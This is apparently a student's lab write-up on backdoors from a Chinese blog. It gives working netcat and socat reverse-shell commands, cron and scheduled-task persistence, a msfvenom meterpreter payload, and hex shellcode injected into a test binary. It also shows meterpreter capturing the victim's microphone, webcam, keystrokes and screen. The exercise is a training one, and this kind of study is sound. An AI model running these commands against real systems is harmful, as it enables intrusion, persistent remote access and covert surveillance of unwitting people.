Exp2 后门原理与实践

1|0Exp2 后门原理与实践

目录

1|1一、实践目标

  • 使用netcat实现win,kali间的后门连接
  • 使用socat实现win,kali间的后门连接
  • meterpreter的应用

1|2二、基础知识问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

误下载带有安全隐患的应用程序或者文件
未及时更新漏洞补丁
使用带有问题的U盘

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win:: 添加至任务计划程序,开机自启动,与其他程序绑定运行,通过注册表启动。
Linux:定时启动,与其他程序绑定后运行,脚本运行。

(3)Meterpreter有哪些给你映像深刻的功能?

屏幕截图,获取击键记录,获取音频,打开摄像头,提权,进程迁移,安装Meterpreter到主机。

(4)如何发现自己有系统有没有被安装后门?

杀毒软件(火绒等)反馈
观察自启动项
观察任务管理器内的进程
观察任务计划程序
观察端口
特征码扫描
观察到自己的摄像头时不时闪一下

1|3三、实验内容

1|0Ⅰ.使用netcat获取主机操作Shell,cron启动

1|0①Windows获取Kali虚拟机的shell

1|01.查看Windows主机的IP地址
ipconfig

图3.1.1 IP地址

1|02.在ncat.exe目录下打开cmd监听本机的11204端口
ncat.exe -l -p 11204

图3.1.2 监听

1|03.kali反弹连接Windows
nc 192.168.1.119 11204 -e /bin/sh

图3.1.3 反弹连接

1|04.Windows返回kali的shell
ls
whoami
hostname

图3.1.4 验证shell

1|0②Kali虚拟机获取Windows的shell

1|01.获取Kali虚拟机的IP地址

图3.1.5 IP地址

1|02.Kali中开启监听
ncat -l -p 11204

图3.1.6 监听

1|03.Windows反弹连接
ncat.exe -e cmd.exe 192.168.1.248 11204

图3.1.7 反弹连接

1|04.Kali虚拟机返回Windows的shell
dir

图3.1.8 验证shell

1|0③cron启动

1|01.Kali中执行crontab -e指令

图3.1.9 第一步

1|02.设置自启动时间
15 * * * * /bin/netcat 192.168.1.119 11204 -e /bin/sh

图3.1.10 自启动

则当主机时间为15分时(每小时的15分),若存在一台ip地址为 192.168.31.63 的主机正在监听11204端口,该主机便可以获取到Kali的Shell

1|03.Windows主机在指定时间监听
ncat -l -p 11204

图3.1.11 验证自启动功能

1|0Ⅱ.使用socat获取主机操作Shell, 任务计划启动

1|0①Windows获取kali虚拟机的shell

1|01.Kali开放11204端口
socat tcp-listen:11204 system:bash,pty,stderr

图3.2.1 开放端口

1|02.Windows连接Kali虚拟机,验证shell功能
socat - tcp:192.168.56.101:11204
ls

图3.2.2 连接并验证i

1|0②Kali虚拟机获得Windows的shell

1|01.Windows开放11204端口
socat tcp-listen:11204 exec:cmd,pty,stderr

图3.2.4 开放端口

1|02.Kali虚拟机连接Windows
socat - tcp:192.168.1.119:11204

图3.2.5 连接

1|03.验证shell
dir

图3.2.6验证

1|0③任务计划启动

1|01.打开任务计划程序,单击创建任务,编辑名称,新建触发器

名称
图3.2.7触发器设置

1|02.新建操作,将socat.exe所在位置填入并添加以下参数,其他选项不变
tcp-listen:11204 exec:cmd,pty,stderr
1|03.测试

此时会弹出如图3.2.9所示的弹窗
图3.2.9 cmd弹窗

然后再Kali虚拟机键入以下命令:

socat - tcp:192.168.31.63:11204

图3.2.10 shell

验证shell

图3.2.11 验证

1|0Ⅲ.使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

1|0①生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.248 LPORT=11204 -f exe > shell.exe

图3.3.1 验证

图3.3.2 shell.exe

1|0②利用ncat传送到主机并运行获取主机Shell

1|01.在Windows的cmd下开始监听11204端口
ncat.exe -l 11204 > shell.exe

图3.3.3 监听

1|02.Kali虚拟机传送shell.exe
nc 192.168.31.63 11204 < shell.exe

图3.3.5 传送成功

1|03.msf打开监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 11204

图3.3.6 msf打开

可以通过show options查看是否修改正确,IP地址与端口号必须与shell.exe中相一致

1|04.在Windows中打开shell.exe

图3.3.7 shell进程

1|05.获取主机shell
exploit
dir

图3.3.8 验证

1|0Ⅳ.使用MSF meterpreter获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1|0①获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)
录音

音频

1|0②获取目标主机摄像头

webcam_snap

输入webcam_snap指令控制摄像头进行拍照
获得的图片

1|0③获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)
获取键盘输入

1|0截取主机屏幕

screenshot

截屏
fim XXX.jpeg查看图片

1|0Ⅴ.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1|0①生成shellcode

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.123.85 LPORT=11204 -f c

1|0②关闭地址随机化并设置栈可执行

execstack -s pwn1
echo "0" > /proc/sys/kernel/randomize_va_space

1|0③gdb调试并生成最终Shellcode

shellcode返回地址为0xbffff130

perl -e 'print "A" x 32;print "\x30\xf1\xff\xbf";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x7b\xd4\x66\x68\x2b\xc4\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin

1|0④kali打开监听

1|0⑤配置msf

1|0运行侦听,在Ubuntu控制Linux的shell

1|01.Ubuntu端:

1|02.kali端

1|4成功

实验体会:
本次实验实现了入侵对方终端,抓拍,获取键盘信息等等基础后门功能,以前在新闻中看到类似的科普知识,感觉很厉害,很神奇。现在我觉得自己也很nb哈哈哈哈,当然没有任何杀毒软件和防火墙的干扰,一切还是很顺利的,希望在学了免杀后能够升级我的攻击力。嗯
实验中对ip的键入比较模糊,现在明晰一些了,生成攻击文件ip为坏ip,用来传递参数,返回攻击者的电脑,nc的ip为对方ip,用来连接。


__EOF__

本文作者Oxygen_bean
本文链接https://www.cnblogs.com/GanNy/p/16069633.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   氧气2019  阅读(145)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示